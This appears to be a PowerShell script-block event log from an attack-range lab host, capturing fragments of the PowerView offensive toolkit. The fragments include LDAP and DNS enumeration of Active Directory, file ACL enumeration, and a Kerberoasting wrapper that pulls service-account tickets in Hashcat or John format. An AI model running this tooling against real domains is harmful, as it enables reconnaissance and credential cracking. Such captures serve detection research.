[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] An ActiveDirectorySchemaClass returned from the found schema. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [Alias('Class')] [ValidateNotNullOrEmpty()] [String[]] $ClassName, [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { if ($PSBoundParameters['ClassName']) { ForEach ($TargetClass in $ClassName) { $ForestObject.Schema.FindClass($TargetClass) } } else { $ForestObject.Schema.FindAllClasses() } } } } function Find-DomainObjectPropertyOutlier { <# .SYNOPSIS Finds user/group/computer objects in AD that have 'outlier' properties set. Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer .DESCRIPTION A 'reference' set of property names is calculated, either from a standard set preserved for user/group/computers, or from the array of names passed to -ReferencePropertySet, or from the property names of the passed -ReferenceObject. Every user/group/computer object (depending on determined class) are enumerated, and for each object, if the object has a 'non-standard' property set (meaning a property not held by the reference set), the object's samAccountName, property name, and property value are output to the pipeline. .PARAMETER ClassName Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. If -ReferenceObject is specified, this will be automatically extracted, if possible. .PARAMETER ReferencePropertySet Specifies an array of property names t421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local741etDomain = $DomainObject.Name } elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { # see if we can grab the user DNS logon domain from environment variables $TargetDomain = $ENV:USERDNSDOMAIN if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" } } else { # otherwise, resort to Get-Domain to retrieve the current domain object write-verbose "get-domain" $DomainObject = Get-Domain $BindServer = ($DomainObject.PdcRoleOwner).Name $TargetDomain = $DomainObject.Name } if ($PSBoundParameters['Server']) { # if there's not a specified server to bind to, try to pull a logon server from ENV variables $BindServer = $Server } $SearchString = 'LDAP://' if ($BindServer -and ($BindServer.Trim() -ne '')) { $SearchString += $BindServer if ($TargetDomain) { $SearchString += '/' } } if ($PSBoundParameters['SearchBasePrefix']) { $SearchString += $SearchBasePrefix + ',' } if ($PSBoundParameters['SearchBase']) { if ($SearchBase -Match '^GC://') { # if we're searching the global catalog, get the path in the right format $DN = $SearchBase.ToUpper().Trim('/') $SearchString = '' } else { if ($SearchBase -match '^LDAP://') { if ($SearchBase -match "LDAP://.+/.+") { $SearchString = '' $DN = $SearchBase } else { $DN = $SearchBase.SubString(7) } } else { $DN = $SearchBase } } } else { # transform the target domain name into a distinguishedName if an ADS search base is not specified if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" } } $SearchString += $DN Write-Verbose "[Get-DomainSearcher] search base: $SearchString" if ($Credential -ne [Management.Automation.PSCredential]::Empty) { Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" # bind to the inital search object using alternate credentials $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) } else { # bind to the inital object using the current credentials $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } $Searcher.PageSize = $ResultPageSize $Searcher.SearchScope = $SearchScope $Searcher.CacheResults = $False $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All if ($PSBoundParameters['ServerTimeLimit']) { $Searcher.ServerTimeLimit = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $Searcher.Tombstone = $True } if ($PSBoundParameters['LDAPFilter']) { $Searcher.filter = $LDAPFilter } if ($PSBoundParameters['SecurityMasks']) { $Searcher.SecurityMasks = Switch ($SecurityMasks) { 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 'None' { [System.DirectoryServices.SecurityMasks]::None } 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } } } if ($PSBoundParameters['Properties']) { # handle an array of properties to load w/ the possibility of comma-separated strings $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) } $Searcher } } function Convert-DNSRecord { <# .SYNOPSIS Helpers that decodes a binary DNS record blob. Author: Michael B. Smith, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Decodes a binary blob representing an Active Directory DNS entry. Used by Get-DomainDNSRecord. Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 .PARAMETER DNSRecord A byte array representing the DNS record. .OUTPUTS System.Management.Automation.PSCustomObject Outputs custom PSObjects with detailed information about the DNS record entry. .LINK https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 #> [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [Byte[]] $DNSRecord ) BEGIN { function Get-Name { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] [CmdletBinding()] Param( [Byte[]] $Raw ) [Int]$Length = $Raw[0] [Int]$Segments = $Raw[1] [Int]$Index = 2 [String]$Name = '' while ($Segments-- -gt 0) { [Int]$SegmentLength = $Raw[$Index++] while ($SegmentLength-- -gt 0) { $Name += [Char]$Raw[$Index++] } $Name += "." } $Name } } PROCESS { # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) $TTLRaw = $DNSRecord[12..15] # reverse for big endian $Null = [array]::Reverse($TTLRaw) $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) $Age = [BitConverter]::ToUInt32($DNSRecord, 20) if ($Age -ne 0) { $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() } else { $TimeStamp = '[static]' } $DNSRecordObject = New-Object PSObject if ($RDataType -eq 1) { $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] $Data = $IP $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' } elseif ($RDataType -eq 2) { $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] $Data = $NSName $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' } elseif ($RDataType -eq 5) { $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] $Data = $Alias $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' } elseif ($RDataType -eq 6) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' } elseif ($RDataType -eq 12) { $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] $Data = $Ptr $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' } elseif ($RDataType -eq 13) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' } elseif ($RDataType -eq 15) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' } elseif ($RDataType -eq 16) { [string]$TXT = '' [int]$SegmentLength = $DNSRecord[24] $Index = 25 while ($SegmentLength-- -gt 0) { $TXT += [char]$DNSRecord[$index++] } $Data = $TXT $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' } elseif ($RDataType -eq 28) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' } elseif ($RDataType -eq 33) { # TODO: how to implement properly? nested object? $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' } else { $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' } $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL $DNSRecordObject | Add-Member Noteproperty 'Age' $Age $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp $DNSRecordObject | Add-Member Noteproperty 'Data' $Data $DNSRecordObject } } function Get-DomainDNSZone { <# .SYNOPSIS Enumerates the Active Directory DNS zones for a given domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .PARAMETER Domain The domain to query for zones, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDNSZone Retrieves the DNS zones for the current domain. .EXAMPLE Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. .OUTPUTS PowerView.DNSZone Outputs custom PSObjects with detailed information about the DNS zone. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DNSZone')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $SearcherArguments = @{ 'LDAPFilter' = '(objectClass=dnsZone)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DNSSearcher1 = Get-DomainSearcher @SearcherArguments if ($DNSSearcher1) { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } else { $Results = $DNSSearcher1.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member NoteProperty 'ZoneName' $Out.name $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } $DNSSearcher1.dispose() } $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' $DNSSearcher2 = Get-DomainSearcher @SearcherArguments if ($DNSSearcher2) { try { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } else { $Results = $DNSSearcher2.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member NoteProperty 'ZoneName' $Out.name $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" } } } catch { Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" } $DNSSearcher2.dispose() } } } function Get-DomainDNSRecord { <# .SYNOPSIS Enumerates the Active Directory DNS records for a given zone. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord .DESCRIPTION Given a specific Active Directory DNS zone name, query for all 'dnsNode' LDAP entries using that zone as the search base. Return all DNS entry results and use Convert-DNSRecord to try to convert the binary DNS record blobs. .PARAMETER ZoneName Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). .PARAMETER Domain The domain to query for zones, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDNSRecord -ZoneName testlab.local Retrieve all records for the testlab.local zone. .EXAMPLE Get-DomainDNSZone | Get-DomainDNSRecord Retrieve all records for all zones in the current domain. .EXAMPLE Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local Retrieve all records for all zones in the dev.testlab.local domain. .OUTPUTS PowerView.DNSRecord Outputs custom PSObjects with detailed information about the DNS record entry. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DNSRecord')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $ZoneName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateNotNullOrEmpty()] [String[]] $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $SearcherArguments = @{ 'LDAPFilter' = '(objectClass=dnsNode)' 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DNSSearcher = Get-DomainSearcher @SearcherArguments if ($DNSSearcher) { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } else { $Results = $DNSSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { try { $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged $Out | Add-Member NoteProperty 'ZoneName' $ZoneName # convert the record and extract the properties if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollect421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local641agnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.SPNTicket')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [ValidateSet('John', 'Hashcat')] [Alias('Format')] [String] $OutputFormat = 'Hashcat', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $UserSearcherArguments = @{ 'SPN' = $True 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-PathAcl { <# .SYNOPSIS Enumerates the ACL for a given file path. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID .DESCRIPTION Enumerates the ACL for a specified file/folder path, and translates the access rules for each entry into readable formats. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path Specifies the local or remote path to enumerate the ACLs for. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target path. .EXAMPLE Get-PathAcl "\\SERVER\Share\" Returns ACLs for the given UNC share. .EXAMPLE gci .\test.txt | Get-PathAcl .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred .INPUTS String One of more paths to enumerate ACLs for. .OUTPUTS PowerView.FileACL A custom object with the full path and associated ACL entries. .LINK https://support.microsoft.com/en-us/kb/305144 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FileACL')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $Path, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { function Convert-FileRight { # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights [CmdletBinding()] Param( [Int] $FSR ) $AccessMask = @{ [uint32]'0x80000000' = 'GenericRead' [uint32]'0x40000000' = 'GenericWrite' [uint32]'0x20000000' = 'GenericExecute' [uint32]'0x10000000' = 'GenericAll' [uint32]'0x02000000' = 'MaximumAllowed' [uint32]'0x01000000' = 'AccessSystemSecurity' [uint32]'0x00100000' = 'Synchronize' [uint32]'0x00080000' = 'WriteOwner' [uint32]'0x00040000' = 'WriteDAC' [uint32]'0x00020000' = 'ReadControl' [uint32]'0x00010000' = 'Delete' [uint32]'0x00000100' = 'WriteAttributes' [uint32]'0x00000080' = 'ReadAttributes' [uint32]'0x00000040' = 'DeleteChild' [uint32]'0x00000020' = 'Execute/Traverse' [uint32]'0x00000010' = 'WriteExtendedAttributes' [uint32]'0x00000008' = 'ReadExtendedAttributes' [uint32]'0x00000004' = 'AppendData/AddSubdirectory' [uint32]'0x00000002' = 'WriteData/AddFile' [uint32]'0x00000001' = 'ReadData/ListDirectory' } $SimplePermissions = @{ [uint32]'0x1f01ff' = 'FullControl' [uint32]'0x0301bf' = 'Modify' [uint32]'0x0200a9' = 'ReadAndExecute' [uint32]'0x02019f' = 'ReadAndWrite' [uint32]'0x020089' = 'Read' [uint32]'0x000116' = 'Write' } $Permissions = @() # get simple permission $Permissions += $SimplePermissions.Keys | ForEach-Object { if (($FSR -band $_) -eq $_) { $SimplePermissions[$_] $FSR = $FSR -band (-not $_) } } # get remaining extended permissions $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } ($Permissions | Where-Object {$_}) -join ',' } $ConvertArguments = @{} if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } $MappedComputers = @{} } PROCESS { ForEach ($TargetPath in $Path) { try { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $ACL = Get-Acl -Path $TargetPath $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { $SID = $_.IdentityReference.Value $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Path' $TargetPath $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) $Out | Add-Member Noteproperty 'IdentityReference' $Name $Out | Add-Member Noteproperty 'IdentitySID' $SID $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') $Out } } catch { Write-Verbose "[Get-PathAcl] error: $_" } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } function Convert-LDAPProperty { <# .SYNOPSIS Helper that converts specific LDAP property result fields and outputs a custom psobject. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts a set of raw LDAP properties results from ADSI/LDAP searches into a proper PSObject. Used by several of the Get-Domain* function. .PARAMETER Properties Properties object to extract out LDAP fields for display. .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject with LDAP hashtable properties translated. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] $Properties ) $ObjectProperties = @{} $Properties.PropertyNames | ForEach-Object { if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } elseif ($_ -eq 'grouptype') { $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum } elseif ($_ -eq 'samaccounttype') { $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum } elseif ($_ -eq 'objectguid') { # convert the GUID to a string $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'useraccountcontrol') { $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum } elseif ($_ -eq 'ntsecuritydescriptor') { # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { $ObjectProperties['Owner'] = $Descriptor.Owner } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group } if ($Descriptor.DiscretionaryAcl) { $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl } if ($Descriptor.SystemAcl) { $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl } } elseif ($_ -eq 'accountexpires') { if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { $ObjectProperties[$_] = "NEVER" } else { $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { # if we have a System.__ComObject $Temp = $Properties[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) } else { # otherwise just a string $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) } catch { Write-Verbose "[Convert-LDAPProperty] error: $_" $ObjectProperties[$_] = $Prop[$_] } } elseif ($Properties[$_].count -eq 1) { $ObjectProperties[$_] = $Properties[$_][0] } else { $ObjectProperties[$_] = $Properties[$_] } } } try { New-Object -TypeName PSObject -Property $ObjectProperties } catch { Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" } } ######################################################## # # Domain info functions below. # ######################################################## function Get-DomainSearcher { <# .SYNOPSIS Helper used by various functions that builds a custom AD searcher object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain .DESCRIPTION Takes a given domain and a number of customizations and returns a System.DirectoryServices.DirectorySearcher object. This function is used heavily by other LDAP/ADSI searcher functions (Verb-Domain*). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER SearchBasePrefix Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainSearcher -Domain testlab.local Return a searcher for all objects in testlab.local. .EXAMPLE Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. .EXAMPLE Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). .OUTPUTS System.DirectoryServices.DirectorySearcher #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', 